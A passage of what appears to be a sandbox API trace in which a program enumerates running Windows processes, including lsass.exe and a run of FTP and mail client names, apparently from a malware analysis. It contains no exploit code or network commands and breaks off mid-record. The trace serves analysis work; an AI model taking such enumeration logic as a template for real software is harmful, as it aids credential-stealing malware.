lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0087.082] lstrlenW (lpString="winlogon.exe") returned 12 [0087.082] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0087.082] lstrlenW (lpString="services.exe") returned 12 [0087.082] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0087.466] lstrlenW (lpString="lsass.exe") returned 9 [0087.466] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.467] lstrlenW (lpString="svchost.exe") returned 11 [0087.467] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.468] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0087.468] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.468] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0087.468] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.469] lstrlenW (lpString="svchost.exe") returned 11 [0087.469] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0087.469] lstrlenW (lpString="dwm.exe") returned 7 [0087.469] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.470] lstrlenW (lpString="svchost.exe") returned 11 [0087.470] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.470] lstrlenW (lpString="svchost.exe") returned 11 [0087.470] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.471] lstrlenW (lpString="svchost.exe") returned 11 [0087.471] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.471] lstrlenW (lpString="svchost.exe") returned 11 [0087.471] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.472] lstrlenW (lpString="svchost.exe") returned 11 [0087.472] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.473] lstrlenW (lpString="svchost.exe") returned 11 [0087.473] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.473] lstrlenW (lpString="svchost.exe") returned 11 [0087.473] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.504] lstrlenW (lpString="svchost.exe") returned 11 [0087.504] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.505] lstrlenW (lpString="svchost.exe") returned 11 [0087.505] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.506] lstrlenW (lpString="svchost.exe") returned 11 [0087.506] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0087.506] lstrlenW (lpString="spoolsv.exe") returned 11 [0087.506] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.507] lstrlenW (lpString="svchost.exe") returned 11 [0087.507] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0087.507] lstrlenW (lpString="audiodg.exe") returned 11 [0087.507] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0087.508] lstrlenW (lpString="sihost.exe") returned 10 [0087.508] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.508] lstrlenW (lpString="svchost.exe") returned 11 [0087.509] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0087.509] lstrlenW (lpString="taskhostw.exe") returned 13 [0087.509] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0087.510] lstrlenW (lpString="explorer.exe") returned 12 [0087.510] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0087.510] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0087.510] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0087.511] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0087.511] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0087.511] lstrlenW (lpString="Memory Compression") returned 18 [0087.511] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0087.512] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0087.512] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0087.512] lstrlenW (lpString="SearchUI.exe") returned 12 [0087.512] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0087.513] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0087.513] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0087.513] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0087.513] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0087.514] lstrlenW (lpString="furholdtopics.exe") returned 17 [0087.514] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0087.515] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0087.515] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0087.515] lstrlenW (lpString="until_commit.exe") returned 16 [0087.515] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0087.516] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0087.516] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0087.516] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0087.516] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0087.517] lstrlenW (lpString="lexmark.exe") returned 11 [0087.517] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0087.517] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0087.517] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0087.518] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0087.518] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0087.518] lstrlenW (lpString="delete disable changing.exe") returned 27 [0087.518] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0087.519] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0087.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0087.519] lstrlenW (lpString="underwear.exe") returned 13 [0087.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0087.520] lstrlenW (lpString="dear-hearings.exe") returned 17 [0087.520] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0087.521] lstrlenW (lpString="dllhost.exe") returned 11 [0087.521] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0087.522] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0087.522] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0087.522] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0087.522] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0087.523] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0087.523] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0087.523] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0087.523] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0087.524] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0087.524] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0087.524] lstrlenW (lpString="towers world.exe") returned 16 [0087.524] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0087.525] lstrlenW (lpString="coaching indian.exe") returned 19 [0087.525] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0087.526] lstrlenW (lpString="goal assumed.exe") returned 16 [0087.526] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0087.527] lstrlenW (lpString="3dftp.exe") returned 9 [0087.527] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0087.528] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0087.528] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0087.529] lstrlenW (lpString="alftp.exe") returned 9 [0087.529] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0087.529] lstrlenW (lpString="barca.exe") returned 9 [0087.529] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0087.530] lstrlenW (lpString="bitkinex.exe") returned 12 [0087.530] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0087.531] lstrlenW (lpString="coreftp.exe") returned 11 [0087.531] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0087.532] lstrlenW (lpString="far.exe") returned 7 [0087.532] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0087.533] lstrlenW (lpString="filezilla.exe") returned 13 [0087.533] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0087.534] lstrlenW (lpString="flashfxp.exe") returned 12 [0087.534] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0087.535] lstrlenW (lpString="fling.exe") returned 9 [0087.535] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0088.060] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0088.060] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0088.061] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0088.061] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0088.062] lstrlenW (lpString="icq.exe") returned 7 [0088.062] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0088.063] lstrlenW (lpString="leechftp.exe") returned 12 [0088.063] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0088.064] lstrlenW (lpString="ncftp.exe") returned 9 [0088.064] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0088.065] lstrlenW (lpString="notepad.exe") returned 11 [0088.065] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0088.066] lstrlenW (lpString="operamail.exe") returned 13 [0088.066] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: 